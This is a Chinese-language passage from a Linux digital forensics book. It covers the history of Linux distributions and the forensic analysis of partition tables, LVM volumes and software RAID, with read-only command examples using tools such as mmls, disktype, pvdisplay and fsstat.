X11 的设计目标之一是网络化。如果一个站点有一个强大的中央 Unix 服务器和分布式 X11 终端(今天称为瘦客户端),用户可以在中央机器上运行程序,但将其显示在终端的屏幕上。由于强大的客户端机器、客户端/服务器应用程序和远程桌面协议,X11 的这一功能今天基本上已经过时。Wayland 放弃了对单个窗口集成网络支持的功能。

X11 存在安全问题。一旦客户端应用程序能够使用 X11 服务器,它就被认为是可信的。客户端随后被授权浏览桌面的其余部分,观察其他窗口的内容并截取键盘输入。这就是屏幕截图程序、远程屏幕共享和可编程快捷键程序的工作原理。Wayland 在设计时考虑了安全性,并且不信任应用程序。

安装图形化桌面环境对于 Linux 服务器来说是可选的。服务器可以使用显示器和基于文本的控制台进行 Shell 访问。甚至显示器也是可选的,在这种情况下,服务器处于 headless 模式,登录必须通过网络进行。

Linux 发行版

严格来说,只有 Linux 内核才是实际的操作系统。系统的其余部分,如 Shell、工具、GUI、软件包等,并不是 Linux。那些内容可能是 Linux 发行版的一部分,但 Linux 技术上仅指内核。

然而,从实际角度来看,人们用 Linux 这个术语来指代的不仅仅是内核,更多的是将 Linux 视为一种发行版(或称“distro”)。本节描述了 Linux 发行版的崛起。

Linux 发行版的演变

最初,基于 Linux 内核构建系统需要大量的技术知识。这意味着需要从 FTP 站点下载源代码(包括内核和其他程序),解压、在 Minix 系统上编译,并手动将文件复制到目标文件系统。配置是通过文本编辑器(如 vi)手动完成的。更新和补丁也是手动完成的(重复上述过程)。这种安排对开发者和黑客来说没问题,但对普通用户来说并不合适。^(7)

最早的 Linux 系统需要大量手动的技术工作来安装和维护。在 Linux 发行版普及之前,几乎一切都是手动过程。为了填补这一空白,Linux 发行版应运而生。发行版的发明使得人们可以更容易地安装、配置和维护基于 Linux 的系统。到 1992 年底,已经有了两个完整且功能齐全的 Linux 发行版。加拿大的 Peter MacDonald 创建了 Softlanding Linux System(SLS),加利福尼亚州伯克利的 Adam Richter 创建了 Yggdrasil Linux。一旦发行版让 Linux 更容易安装,它就开始在内核开发者社区之外变得更受欢迎。随着时间的推移,发行版提供的功能变得足够重要,能够实现商业盈利。

目前组成一个发行版的典型组件包括:

  • 启动介质(用于 CD、DVD 或 USB 闪存驱动器的 ISO 镜像)

  • 安装脚本和工具

  • 软件包管理系统

  • 预编译的软件包(从源代码编译是可选的)

  • 配置管理

  • 预配置的桌面环境

  • 文档(在线或印刷版)

  • 更新和安全公告

  • 支持论坛和用户邮件列表

  • 发行版的哲学、愿景、使命或风格

发行版可能有定期的发布日期,遵循传统的软件生命周期模型。然而,更新的模型是滚动发布,这意味着没有固定的版本或发布日期。软件包不断更新,发布版本与您上次更新的时间相关联。这个系统可能带来不稳定的风险,但用户无需等待即可获取最新的软件。

Linux 发行版可以是非盈利或商业性质。像 Debian、Arch、Slackware 或 Gentoo 这样的非盈利发行版通常是免费和开源的,由志愿者维护。然而,服务器硬件、网络基础设施和网络带宽仍然需要资金,因此项目团队通常通过募捐或销售周边产品(T 恤、咖啡杯、贴纸等)来筹集资金。

商业发行版如 SUSE、Red Hat 或 Ubuntu(Canonical)有员工并且是正规的盈利公司。根据 GPL 许可证,商业公司不能销售 Linux 软件;然而,它们可以通过发行介质、订阅、服务和支持来赚钱。许多商业发行版也有独立的免费发行版(例如 openSUSE 和 Fedora),它们作为即将发布的商业版本的测试平台。

许多发行版是基于其他发行版的,并仅仅增加了额外的软件、定制和配置。例如,Ubuntu 基于 Debian,CentOS Stream 基于 Red Hat Enterprise Linux,Manjaro 基于 Arch Linux。某些发行版甚至是基于其他发行版的发行版。例如,Linux Mint 基于 Ubuntu,而 Ubuntu 又基于 Debian。

还有许多特种发行版,通常基于其他发行版,但为特定用途构建。例如,Raspian 是为 Raspberry Pi 硬件设计的发行版,Kali Linux 用于渗透测试和法医分析,Tails 专为隐私和匿名性设计,Android 专为移动设备设计。

知道你正在分析的是哪个发行版非常重要,因为每个发行版的法医痕迹略有不同。以下章节描述了最常见的发行版。请参阅 Distrowatch 获取当前流行 Linux 发行版的列表 (distrowatch.com/).

基于 Debian 的发行版

Ian Murdock 在 1993 年作为普渡大学的学生时启动了 Debian Linux。Debian 最初是由于 Murdock 对 SLS Linux 的不满而创建的,并发展成了最受欢迎的发行版之一。

Debian 分发版维护三个版本:

Stable 最新的生产版本,推荐用于一般用途

Testing 下一个正在测试和完善的发行候选版本

Unstable 当前的开发快照(始终使用代号Sid

Debian 的发布代号取自《玩具总动员》电影中的角色,并分配给主要版本号。新的主要版本大约每两年发布一次。小版本更新或点发布每几个月进行一次,包含安全性和错误修复。

Debian 注重自由,并与 GNU 项目紧密对接(文档甚至将 Debian 称为“GNU/Linux”)。Debian 有着完善的文档政策、标准、指南和一份社会契约,阐明了项目的哲学。

许多基于 Debian 的发行版是为非技术用户开发的。这些发行版易于安装和使用,桌面环境与 Windows 和 macOS 相当(我将在以下列表中介绍其中的一些)。

Ubuntu 一直是 Linux 新手使用的较为流行的基于 Debian 的发行版。它有服务器版和桌面版。Ubuntu 根据使用的桌面环境有多个版本:

Ubuntu 使用 GNOME 桌面环境(主要发行版)

Kubuntu 使用 KDE 桌面环境

Xubuntu 使用 Xfce 桌面环境

Lubuntu 使用 LXDE 桌面环境

底层操作系统仍然是 Ubuntu(并基于 Debian),但每种版本的图形界面有所不同。

Linux Mint 也基于 Ubuntu(其中一个版本基于 Debian),旨在看起来优雅并且易于使用,采用传统的桌面隐喻。它有几个版本:

Mint Cinnamon 基于 Ubuntu,使用 GNOME 3

Mint MATE 基于 Ubuntu,使用 GNOME 2

Mint Xfce 基于 Ubuntu,使用 Xfce

Linux Mint Debian Edition (LMDE) 基于 Debian,使用 GNOME 3

Raspberry Pi 配备了名为 Raspian 的 Debian 版本。它设计得非常轻量,并与 Raspberry Pi 硬件集成。

基于 SUSE 的发行版

1992 年,Roland Dyroff、Thomas Fehr、Burchard Steinbild 和 Hubert Mantel 成立了德国公司 SUSE。SUSE 是 Software und System-Entwicklung 的缩写,意为“软件与系统开发”。SUSE 最初销售 SLS Linux 的德文版,但在 1994 年为德国市场推出了自己的 SUSE Linux 发行版。几年后,它扩展到欧洲其他地区,随后向全球推广。如今,它被称为 SUSE Software Solutions Germany GmbH,已成为一家独立公司。OpenSUSE 是 SUSE Linux 的免费社区版,由 SUSE 和其他组织提供赞助。

SUSE Linux 的商业版和社区版如下:

SUSE Linux Enterprise Server (SLES) 商业产品

SUSE Linux Enterprise Desktop (SLED) 商业产品

openSUSE Leap 定期发布版本

openSUSE Tumbleweed 定期发布版本

尽管 SUSE 传统上专注于 KDE 桌面,但它也提供 GNOME 和其他桌面版本。SUSE 在德语地区以及欧洲其他地区具有强大的影响力。

基于 Red Hat 的发行版

Red Hat Linux(既是公司也是 Linux 发行版)由 Marc Ewing 于 1994 年创建。它有自己的软件包管理器(称为 pm)和安装程序。另一个由加拿大人 Bob Young 经营的小公司管理产品的分发。两家公司合并,后来成为我们今天所知的 Red Hat。Red Hat 是一个广为人知的品牌(主要是因为其股票市场 IPO 的媒体报道),但实际上它是基于 Fedora 发行版的。Fedora 是 Red Hat 的社区发行版,Fedora 的发布版本成为 Red Hat 商业产品的一部分。

有多个 Linux 发行版与 Red Hat 相关联:

Fedora 工作站和服务器版本

Fedora Spins 带有替代桌面的 Fedora 工作站

Fedora Rawhide 滚动发布开发版本

Red Hat 企业 Linux (RHEL) 从 Fedora 构建的商业产品

CentOS Stream 基于 RHEL 的社区滚动发布发行版

默认的 Fedora 和 RHEL 桌面使用 GNOME。Red Hat 的开发者在开发其他发行版使用的各种标准方面处于领先地位,例如 systemd、PulseAudio 和各种 GNOME 组件。

基于 Arch 的发行版

Arch Linux 由加拿大人 Judd Vinet 于 2001 年开发,首个版本于 2002 年发布。Arch 是一个非商业的 Linux 发行版。

Arch 是最早的滚动发布发行版之一。Arch Linux 的安装和配置基于命令行(安装 ISO 引导到根 shell,并等待命令),用户需要按照 Arch Wiki 上的指引安装各种组件。每个组件必须单独安装。

Arch 的简洁安装过程对于新手 Linux 用户来说较为困难,但市场上对滚动发布的需求很大。Manjaro Linux 解决了这两个问题。

需要,因为它基于 Arch 并且有一个友好的图形化安装过程。Manjaro Linux 安装后就是一个完全可操作的系统。

其他发行版

本书主要涵盖了基于 Debian、Fedora、SUSE 和 Arch 的发行版的取证分析。这四个发行版是大多数 Linux 安装的基础。

其他独立的 Linux 发行版也有活跃的用户和开发者社区;例如:

Gentoo 一个使用脚本从源代码编译包的发行版

Devuan 是一个不使用 systemd 的 Debian 分支

Solus 是一个注重美学外观并使用 Budgie 桌面的发行版

Slackware 一个始于 1993 年的发行版,旨在做到“类 Unix”

你可以通过本书中描述的方法对所有这些发行版进行取证分析。唯一的差异将在于特定发行版的区域,特别是安装程序和包管理器。此外,一些发行版的初始化过程可能有所不同,可能使用传统的 Unix sysvinit。

注意

顺便提一下,我想强调一下 Linux From Scratch(LFS)。LFS 不是一个传统的发行版,而是一本书或操作手册。该书描述了直接从不同开发者处下载包、编译并安装源代码以及手动配置系统的过程。任何计划从事 Linux 技术工作的人员都应当至少安装一次 LFS 系统,因为这样可以获得丰富的学习体验。更多信息可以在 linuxfromscratch.org/.

Linux 系统的取证分析

对 Linux 系统进行取证检查与对 Windows 或 macOS 系统的检查有很多相似之处。所有三者中常见的一些取证任务包括:

  • 分区表分析(DOS 或 GPT)

  • 重建启动过程

  • 理解用户的桌面活动

  • 寻找照片和视频目录

  • 寻找最近的文档

  • 尝试从文件系统或垃圾箱/回收站恢复已删除的文件

  • 构建时间轴以重建事件

  • 分析缩略图图像、剪贴板数据和桌面信息

  • 识别使用的应用程序

  • 查找配置文件、日志和缓存

  • 分析已安装的软件

主要的操作系统差异在于硬盘镜像中取证痕迹的位置和格式。Linux 文件系统不同,文件位置不同,文件格式也可能不同。

注意

在对 Linux 系统进行数字取证检查时,可以直接在取证分析工作站上挂载可疑的文件系统。然而,任何存在于可疑系统上的符号链接可能指向调查人员自己系统上的文件和目录。

与 Windows 或 macOS 相比,检查 Linux 系统也有几个优势。Linux 发行版使用的专有工具较少,且倾向于使用开放文件格式,并且在许多情况下使用纯文本文件。此外,许多免费的开源工具可用于执行分析。许多这些工具都包含在操作系统中,旨在用于故障排除、调试、数据转换或数据恢复。

我写这本书是希望许多法医检查员会在 Windows 或可能是 macOS 上使用商业法医工具。不幸的是,商业法医工具在某些 Linux 分析领域存在不足。在这些情况下,使用 Linux 分析系统具有优势且值得推荐。

本书中的示例使用 Linux 工具,但仅用于说明存在的法医证据。你也可以使用其他法医工具,包括大多数法医实验室使用的商业工具,提取或发现这些相同的证据。本书中使用 Linux 工具并不意味着它们更好或值得推荐(尽管有时确实没有等效的商业工具)。它们只是不同而已。所有法医检查员或法医实验室都有自己的工具和平台选择,选择最适合他们的工具。

本书其余部分概述的法医过程在概念上与 Windows 或 macOS 上的相同。细节不同,但解释这些细节正是本书的目的。

第三章:来自存储设备和文件系统的证据

Image

本章重点讲解 Linux 存储的取证分析,包括分区表、卷管理和 RAID、文件系统、交换分区和休眠、以及磁盘加密。每个领域都有 Linux 特有的取证痕迹,我们可以进行分析。你可能能够使用商业取证工具执行本章中展示的大部分活动,但为了说明问题,本章中的示例使用了 Linux 工具。

在对计算机系统的存储进行取证分析时,第一步是精确识别驱动器上的内容。我们必须理解布局、格式、版本和配置。在对驱动器内容有了高层次的了解后,我们可以开始寻找其他有趣的取证痕迹和数据进行检查或提取。

本章所示的文件系统取证分析相较于学术研究论文和其他数字取证文献,描述的层次较高。在这里,我将描述文件和文件系统元数据以及对取证调查有用的信息。我会展示如何列出和提取文件,探讨恢复已删除文件和空白区的可能性。预计被分析的文件系统处于(相对)一致的状态,工具能够解析文件系统数据结构。损坏严重、部分擦除或被覆盖的文件系统需要不同的分析方法,这涉及手动将扇区或块重新组合成文件进行恢复以及其他低级别的分析技术。这种级别的调查超出了本书的预期深度。对于更深入的文件系统分析资源,我推荐 Brian Carrier 的《文件系统取证分析》。

本章的“文件系统取证分析”部分首先介绍了所有类 Unix 文件系统共有的结构,接着详细讲解了在 Linux 中最常用的文件系统:ext4、xfs 和 btrfs。这三个文件系统部分的结构如下:

  • 历史、概述和特点

  • 如何查找和识别文件系统

  • 文件系统元数据中的取证痕迹(超级块)

  • 文件元数据中的取证痕迹(inode)

  • 列出和提取文件

  • 其他独特特点

分析示例使用了 The Sleuth Kit(TSK),以及各项目团队提供的调试和故障排除工具,和各种自由与开源社区项目。我使用了支持 btrfs 和 xfs 的 TSK 补丁版本进行一些分析示例。

本章中的示例使用命名约定image.raw表示完整的磁盘镜像,partimage.raw表示分区的镜像(包含文件系统)。使用分区镜像的示例在指定了分区偏移量的情况下,也可以用于完整的磁盘镜像。某些工具仅能与设备一起使用,而不能与法医镜像文件一起使用。在这种情况下,会创建与镜像文件关联的回环设备。

我们即将结束文件系统法医学的“黄金时代”。在磁性旋转硬盘上,当删除的文件被取消链接并且块被取消分配时,数据仍然保留在物理磁盘扇区中。法医工具可以“神奇地”恢复这些已删除的文件和部分覆盖的文件碎片。然而,今天的 SSD 支持操作系统发送的 TRIM 和 DISCARD 命令,这些命令指示 SSD 固件擦除未使用的块(出于性能和效率的原因)。此外,闪存转换层(FTL)将有缺陷的内存块映射到存储的超额配置区域,这些区域无法通过标准硬件接口(SATA、SAS 或 NVMe)访问。因此,一些传统的法医技术在恢复数据时变得不太有效。像chip-off这样的恢复技术,需要将内存芯片拆焊,执行此操作需要特殊的设备和训练。本章介绍了仍然可以通过软件工具恢复已删除文件的技术。

存储布局与卷管理分析

本节描述了如何识别存储介质上的 Linux 分区和卷。我将展示如何重建或重新组合可能包含文件系统的卷,并突出对调查有意义的信息痕迹。

分区表分析

典型的存储介质采用定义的分区方案进行组织。常见的分区方案包括:

  • DOS/MBR(原始 PC 分区方案)

  • GPT

  • BSD

  • Sun (vtoc)

  • APM(苹果分区图)

  • 无(没有分区方案,文件系统从扇区零开始)

DOS 曾是多年来最流行的分区方案,但 GPT 正在变得越来越常见。

分区通过分区表定义,^(1)该表提供了诸如分区类型、大小、偏移量等信息。Linux 系统通常将硬盘划分为多个分区,以创建独立的文件系统。常见的分区可能包含以下内容:

/ 操作系统安装和根挂载
ESP 用于 UEFI 引导的 EFI 系统分区(FAT)
swap 用于分页、交换和休眠
/boot/ 引导加载程序信息、内核和初始内存盘
/usr/ 有时用于系统文件的只读文件系统
/var/ 有时用于存储可变或更改的系统数据
/home/ 用户的主目录

默认的分区和文件系统布局因 Linux 发行版而异,用户在安装过程中有机会自定义该布局。

从数字取证的角度来看,我们需要识别分区方案,分析分区表,并寻找可能的分区间隙。对 DOS 和 GPT^(2)分区表的分析与已安装的操作系统无关。所有商业取证工具都可以分析 Linux 系统分区表。我们将重点讨论与 Linux 特定的痕迹。

DOS 分区表条目为分区类型分配了一个字节。没有权威的标准组织定义 DOS 分区类型;然而,一个社区努力维护已知分区类型的列表,网址为www.win.tue.nl/~aeb/partitions/partition_types-1.html(UEFI 规范甚至链接到该网站)。你可能会发现一些常见的 Linux 分区类型,包括:

0x83 Linux
0x85 Linux 扩展
0x82 Linux swap
0x8E Linux LV
0xE8 LUKS(Linux 统一密钥设置)
0xFD Linux RAID 自动

0x 前缀表示分区类型以十六进制格式表示。Linux 安装通常有一个或多个主分区,这是传统的分区表条目。还可能存在一个扩展分区(类型为 0x05 或 0x85),其中包含其他逻辑分区。^(3)

GPT 分区表条目为分区 GUID 分配了 16 个字节。UEFI 规范中指出:“操作系统厂商需要生成自己的分区类型 GUID 来标识他们的分区类型。”Linux 可发现分区规范(*systemd.io/DISCOVERABLE_PARTITIONS/)定义了几种 Linux GUID 分区类型,但并不完整。有关列出已知 GUID 的systemd-id128 show命令,请参见 systemd-id128(1)手册页。你可能会在 GPT 分区方案中发现一些 Linux GPT 分区类型,包括:

Linux swap 0657FD6D-A4AB-43C4-84E5-0933C84B4F4F
Linux 文件系统 0FC63DAF-8483-4772-8E79-3D69D8477DE4
Linux 根目录(x86-64) 4F68BCE3-E8CD-4DB1-96E7-FBCAF984B709
Linux RAID A19D880F-05FC-4D3B-A006-743F0F84911E
Linux LVM E6D6D379-F507-44C2-A23C-238F2A3DF928
Linux LUKS CA7D7CCB-63ED-4C53-861C-1742536059CC

不要将分区类型的标准定义 GUID 与特定分区或文件系统的随机生成的 GUID 混淆。

在取证检查过程中,DOS 或 GPT 分区类型可能指示内容。但需要注意,用户可以定义任何他们想要的分区类型,然后创建一个完全不同的文件系统。分区类型作为各种工具的指示符使用,但不能保证它一定正确。如果分区类型不正确且具有误导性,可能是试图隐藏或模糊信息(类似于通过更改文件扩展名来隐藏文件类型)。

在 Linux 系统中,检测到的分区会出现在/dev/目录中。这个目录是一个挂载的伪目录,在运行中的系统中存在。在事后取证检查中,这个目录将为空,但设备名称可能仍然会在日志中、配置文件中或文件系统中的其他地方找到。这里提供了存储设备(包括分区)的简要回顾。

在 Linux 中最常见的存储驱动器是 SATA、SAS、NVMe 和 SD 卡。这些块设备在运行中的系统的/dev/目录中表示如下:

  • /dev/sda, /dev/sdb, /dev/sdc, . . .

  • /dev/nvme0n1, /dev/nvme1n1, . . .

  • /dev/mmcblk0, mmcblk1, . . .

每个驱动器都有一个设备文件。SATA 和 SAS 驱动器按字母顺序表示(sda, sdb, sdc, . . .)。NVMe 驱动器按数字表示;第一个数字是驱动器,第二个n数字是命名空间。^(4) SD 卡也按数字表示(mmcblk0, mmcblk1, . . .)。

如果 Linux 系统在某个驱动器上检测到分区,将会创建额外的设备文件来表示这些分区。命名约定通常会在驱动器名后添加一个额外的数字,或者在字母后加上p和一个数字,例如:

  • /dev/sda1, /dev/sda2, /dev/sda3, . . .

  • /dev/nvme0n1p1, /dev/nvme0n1p2, . . .

  • /dev/mmcblk0p1, /dev/mmcblk0p2, . . .

如果商业工具无法正确分析 Linux 分区表,或者你需要更多的分析结果,可以使用一些 Linux 工具,包括mmls(来自 TSK)和disktype

这是 TSK 的mmls命令输出的 Manjaro Linux 分区表示例:

$ mmls image.raw
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

       Slot   Start       End         Length      Description
000:   Meta   0000000000  0000000000  0000000001  Primary Table (#0)
001: -------  0000000000  0000002047  0000002048  Unallocated
002: 000:000  0000002048  0024188109  0024186062  Linux (0x83)
003: 000:001  0024188110  0041929649  0017741540  Linux Swap / Solaris x86 (0x82)
004: -------  0041929650  0041943039  0000013390  Unallocated

mmls工具列出了不同的“槽”,它们可以是分区元数据、未分配的区域(包括分区间隙)和实际分区。分区的起始、结束位置和长度以 512 字节扇区为单位显示。这个示例呈现了一个传统的 DOS 分区方案,一个位于 2048 扇区的 Linux 分区(0x83),紧接着是一个交换分区。最后的 13390 个扇区没有分配给任何分区。

注意

小心使用单位。一些工具使用扇区,其他工具使用字节。

接下来,我们来看一个 Linux Mint 分区表的disktype输出示例:

   # disktype /dev/sda

   --- /dev/sda
   Block device, size 111.8 GiB (120034123776 bytes)
   DOS/MBR partition map
➊ Partition 1: 111.8 GiB (120034123264 bytes, 234441647 sectors from 1)
     Type 0xEE (EFI GPT protective)
   GPT partition map, 128 entries
     Disk size 111.8 GiB (120034123776 bytes, 234441648 sectors)
     Disk GUID 11549728-F37C-C943-9EA7-A3F9F9A8D071
   Partition 1: 512 MiB (536870912 bytes, 1048576 sectors from 2048)
  ➋ Type EFI System (FAT) (GUID 28732AC1-1FF8-D211-BA4B-00A0C93EC93B)
     Partition Name "EFI System Partition"
     Partition GUID EB66AA4C-4840-1E44-A777-78B47EC4936A
     FAT32 file system (hints score 5 of 5)
       Volume size 511.0 MiB (535805952 bytes, 130812 clusters of 4 KiB)
   Partition 2: 111.3 GiB (119495720960 bytes, 233390080 sectors from 1050624)
     Type Unknown (GUID AF3DC60F-8384-7247-8E79-3D69D8477DE4)
  ➌ Partition Name ""
     Partition GUID A6EC4415-231A-114F-9AAD-623C90548A03
     Ext4 file system
       UUID 9997B65C-FF58-4FDF-82A3-F057B6C17BB6 (DCE, v4)
       Last mounted at "/"
       Volume size 111.3 GiB (119495720960 bytes, 29173760 blocks of 4 KiB)
   Partition 3: unused

在这个输出中,GPT 分区显示为➊,带有保护 MBR(类型 0xEE)。分区 1 是 EFI FAT 分区➋,并且 UUID(GUID)已识别。分区 2 的 UUID➌未被disktype识别,但它检测到了文件系统并显示了一些相关信息。

工具呈现的 GPT UUID 格式可能会有所不同,显示的格式也可能与磁盘上存储的格式不同。例如,这里是 Linux GPT 分区类型0FC63DAF-8483-4772-8E79-3D69D8477DE4通过几种不同工具显示的结果:

fdisk/gdisk 0FC63DAF-8483-4772-8E79-3D69D8477DE4

disktype AF3DC60F-8384-7247-8E79-3D69D8477DE4

hexedit AF 3D C6 0F 83 84 72 47 8E 79 3D 69 D8 47 7D E4

xxd af3d c60f 8384 7247 8e79 3d69 d847 7de4

GPT UUID 具有定义的结构,其中一部分以小端格式存储在磁盘上。UEFI 规范(附录 A)详细描述了 EFI GUID 格式(uefi.org/sites/default/files/resources/UEFI_Spec_2_8_final.pdf)。某些工具(例如 disktype 或十六进制转储工具)可能会显示写入磁盘的原始字节,而不是将这些字节解释为 GPT UUID。

逻辑卷管理器

现代操作系统提供了卷管理功能,用于组织和管理物理驱动器的组合,允许创建包含分区和文件系统的逻辑(虚拟)驱动器的灵活性。卷管理可以是一个独立的子系统,例如 逻辑卷管理器(LVM),也可以像 btrfs 或 zfs 一样直接构建在文件系统中。

本节中的示例涵盖了一个简化的 LVM 设置,只有一个物理存储设备。这足以分析许多默认在一块硬盘上安装 LVM 的发行版。涉及多个驱动器的更复杂场景将需要支持 LVM 卷的取证工具,或者需要能够访问和组装 LVM 卷的 Linux 取证分析机器。如果文件系统以单个磁盘上的扇区线性序列写入并且已知文件系统的起始偏移量,那么即使没有 LVM 支持,也可以使用取证工具。

Linux 环境中最常见的卷管理器是 LVM。 图 3-1 显示了高层次的架构。

图片

图 3-1:逻辑卷管理器

LVM 系统有几个关键概念:

物理卷(PV) 物理存储设备(SATA、SAS 和 NVMe 驱动器)

卷组(VG) 由一组 PV 创建

逻辑卷(LV) VG 内的虚拟存储设备

物理扩展(PEs) PV 中连续扇区的序列

逻辑扩展(LEs) LV 中连续扇区的序列

在 LVM 的上下文中,扩展(extent)类似于传统文件系统的块,并且在创建时有一个固定的大小。典型的默认 LVM 扩展大小为 8192 个扇区(4MB),并且用于 PEs 和 LEs。LVM 还可以为逻辑卷提供冗余和条带化。

使用分区表并非 LVM 所必需,PVs 可以直接在裸磁盘上创建,无需分区。当使用分区时,LVM 会有一个分区条目类型,指示物理驱动器是 PV。对于 DOS 分区方案,LVM 分区代码是 0x8E。对于 GPT,LVM 分区的 UUID 是 E6D6D379-F507-44C2-A23C-238F2A3DF928(某些工具可能会以其在磁盘上存储的顺序显示字节:D3 79 E6 D6 F5 07 44 C2 3C A2 8F 23 3D 2A 28 F9)。以下是一个分区表示例:

$ sudo mmls /dev/sdc
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot     Start       End         Length      Description
000: Meta     0000000000  0000000000  0000000001  Primary Table (#0)
001: -------  0000000000  0000002047  0000002048  Unallocated
002: 000:000  0000002048  0002099199  0002097152  Linux (0x83)
003: 000:001  0002099200  0117231407  0115132208  Linux Logical Volume Manager (0x8e)

在此示例中,mmls 显示了一个 DOS 分区表,并且在扇区 2099200 处检测到一个 LVM 分区,占用了大部分驱动器。

关于 PV 的信息写入到 LVM 分区第二个扇区(扇区 1)的 32 字节标签头中。此标签包含:

  • LVM ID 字符串为 LABELONE(8 字节)

  • 此标签所在分区的扇区(8 字节)

  • 此扇区其余部分的 CRC 校验和(4 字节)

  • 内容开始的字节偏移量(4 字节)

  • LVM 类型字符串为 LVM2 001(8 字节)

  • PV UUID(16 字节)

这是在 LVM 分区的开始(第二个扇区)处 LVM 标签的十六进制转储示例:

40100200  4C 41 42 45 4C 4F 4E 45 01 00 00 00 00 00 00 00 LABELONE........
40100210  53 BF 78 2F 20 00 00 00 4C 56 4D 32 20 30 30 31 S.x/ ...LVM2 001
40100220  55 77 37 73 73 53 4A 61 50 36 67 43 44 42 4D 61 Uw7ssSJaP6gCDBMa
40100230  51 32 4A 57 39 32 71 6F 66 71 59 47 56 57 6F 68 Q2JW92qofqYGVWoh
...

您需要安装 lvm2 软件包来管理 LVM 卷。它包含多个工具,可帮助执行连接 LVM 驱动器的取证分析,包括描述 LVM 系统的 lvm(8) 手册页。

LVM 工具在设备上操作,而不是普通文件。要在 Linux 取证分析工作站上检查 LVM 设置,嫌疑驱动器必须通过写保护器连接,或作为只读获取的镜像文件关联到一个循环设备(请参阅 第二章 中的“设备”小节)。在这些示例中,嫌疑 LVM 驱动器是取证分析机器上的 /dev/sdc 设备。

pvdisplay 工具提供有关 PV 的信息。--foreign 标志包括通常会被跳过的卷,--readonly 直接从磁盘读取数据(忽略内核设备映射驱动程序):

$ sudo pvdisplay --maps --foreign --readonly
  --- Physical volume ---
  PV Name               /dev/sdc2
  VG Name               mydisks
  PV Size               <54.90 GiB / not usable <4.90 MiB
  Allocatable           yes
  PE Size               4.00 MiB
  Total PE              14053
  Free PE               1
  Allocated PE          14052
  PV UUID               Uw7ssS-JaP6-gCDB-MaQ2-JW92-qofq-YGVWoh

  --- Physical Segments ---
...
  Physical extent 1024 to 14051:
    Logical volume     /dev/mydisks/root
    Logical extents    0 to 13027
...

此输出显示有关单个物理卷(sdc2)的信息,包括 PE 大小、卷中 PE 的数量以及扩展的详细信息。LVM UUID 不是标准的十六进制格式;相反,它们是随机生成的字符串,包含 0–9、a–z 和 A–Z 字符。

您可以使用 lvdisplay 工具查询有关逻辑卷的信息。--maps 标志提供有关段和扩展的附加详细信息:

$ sudo lvdisplay --maps --foreign --readonly
...
   --- Logical volume ---
   LV Path                /dev/mydisks/root
   LV Name                root
   VG Name                mydisks
   LV UUID                uecfOf-3E0x-ohgP-IHyh-QPac-IaKl-HU1FMn
   LV Write Access        read/write
➊ LV Creation host, time pc1, 2020-12-02 20:45:45 +0100
   LV Size                50.89 GiB
   Current LE             13028
   Segments               1
   Allocation             inherit
   Read ahead sectors     auto

   --- Segments ---
   Logical extents 0 to 13027:
  ➋ Type                linear
     Physical volume     /dev/sdc2
     Physical extents    1024 to 14051

Type linear 这一行 ➋ 表示卷在磁盘上以连续扇区的序列存在(类似于 LBA)。在线性单磁盘配置中,我们只需要找到文件系统起始位置的偏移量,然后可以使用不支持 LVM 的取证工具对其进行操作。从取证的角度来看,另一个有趣的方面是创建逻辑卷的主机名和卷的创建时间戳 ➊。

有关扩展的信息帮助我们找到(计算)文件系统的第一个扇区。上面的分区表(mmls 输出)显示 LVM 分区从扇区 2099200 开始。第一个 PE 距离 LVM 分区的起始位置 2048 个扇区。^(5) pvdisplay 输出显示 LVM 扩展大小为 8192 个扇区(PE Size 4.00 MiB),而 lvdisplay 输出显示根卷从第 1024 个扩展开始。通过这些信息,我们可以确定文件系统的扇区偏移量:

2099200 + 2048 + (8192 * 1024) = 10489856

对于线性单磁盘 LVM 系统,其中文件系统存储为连续的扇区序列,我们可以使用标准的取证工具,通过使用来自物理驱动器开头的这个扇区偏移量。以下是一个使用 TSK 的示例:

$ sudo fsstat -o 10489856 /dev/sdc
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 6d0edeac50c97b979148918692af1e0b
...

TSK 命令 fsstat 提供有关文件系统的信息。在这个例子中,在 LVM 分区内计算出的偏移量处找到了一个 ext4 文件系统。计算文件系统起始位置的替代方法是通过工具(如 gpart)彻底搜索文件系统的起始位置。你可以使用 vgdisplaypvs 命令,并带有一个或多个 -v 标志,以获取有关卷组和物理卷的详细信息。

LVM 还具有执行 写时复制(CoW) 快照的能力。这从取证角度来看非常有趣,因为卷的快照可能来自以前的某个时刻。在运行的系统中,可以将卷“冻结”在快照中进行分析或甚至获取。

Linux 软件 RAID

在企业计算的早期,人们发现可以将多组硬盘配置为并行工作,从而提高可靠性和性能。这个概念被称为 冗余独立磁盘阵列,或 RAID。^(6) 用来描述 RAID 配置的术语有很多。镜像指的是两个互为镜像的磁盘。条带化指的是将数据条带分布在多个磁盘上以提高性能(可以同时从多个磁盘读取和写入)。奇偶校验是计算机科学中的术语,指用于错误检测和/或修正的额外数据位。

RAID 有不同的级别,描述了多个磁盘如何协同工作:

RAID 为了性能而条带化,无冗余

RAID1 镜像磁盘以提供冗余,容量为一半,但最多可以有一半的磁盘故障

RAID2,3,4,5 带奇偶校验的变体,允许一个磁盘发生故障

RAID6 双重奇偶校验,允许最多两个磁盘发生故障

RAID10 镜像和条带化(“1 + 0”),以实现最大的冗余性和性能

JBOD “仅仅是磁盘的一堆” 连接的磁盘,没有冗余和性能,但最大容量

组织根据成本、性能和可靠性的平衡来选择 RAID 级别。

一些商业取证工具可能支持重新组装和分析 Linux RAID 系统。如果不支持,可以将取证镜像传输到 Linux 机器上进行分析。我的上一部书《实用取证镜像》(No Starch Press,2016)解释了如何创建各种 RAID 系统的取证镜像,包括 Linux。在本节中,我们假设各个驱动器已被取证获取,并且作为只读镜像文件提供,或直接连接到分析系统,并配有写入阻断器。确保磁盘或镜像为只读非常重要,否则分析系统可能会自动检测 RAID 分区,并尝试重新组装、重新同步或重建 RAID。

在 Linux 中,RAID 功能可以通过md(多设备驱动程序,或 Linux 软件 RAID)、LVM 或内建的文件系统提供(例如,btrfs 和 zfs 具有集成的 RAID 功能)。

最常用的 RAID 方法(本章重点介绍)是 Linux 软件 RAID 或md。这个内核模块从配置的磁盘阵列中生成一个元设备。你可以使用mdadm用户空间工具来配置和管理 RAID。接下来的部分描述了在典型的md RAID 系统中找到的取证证据。有关md设备的更多信息,请参见 md(4)手册页。

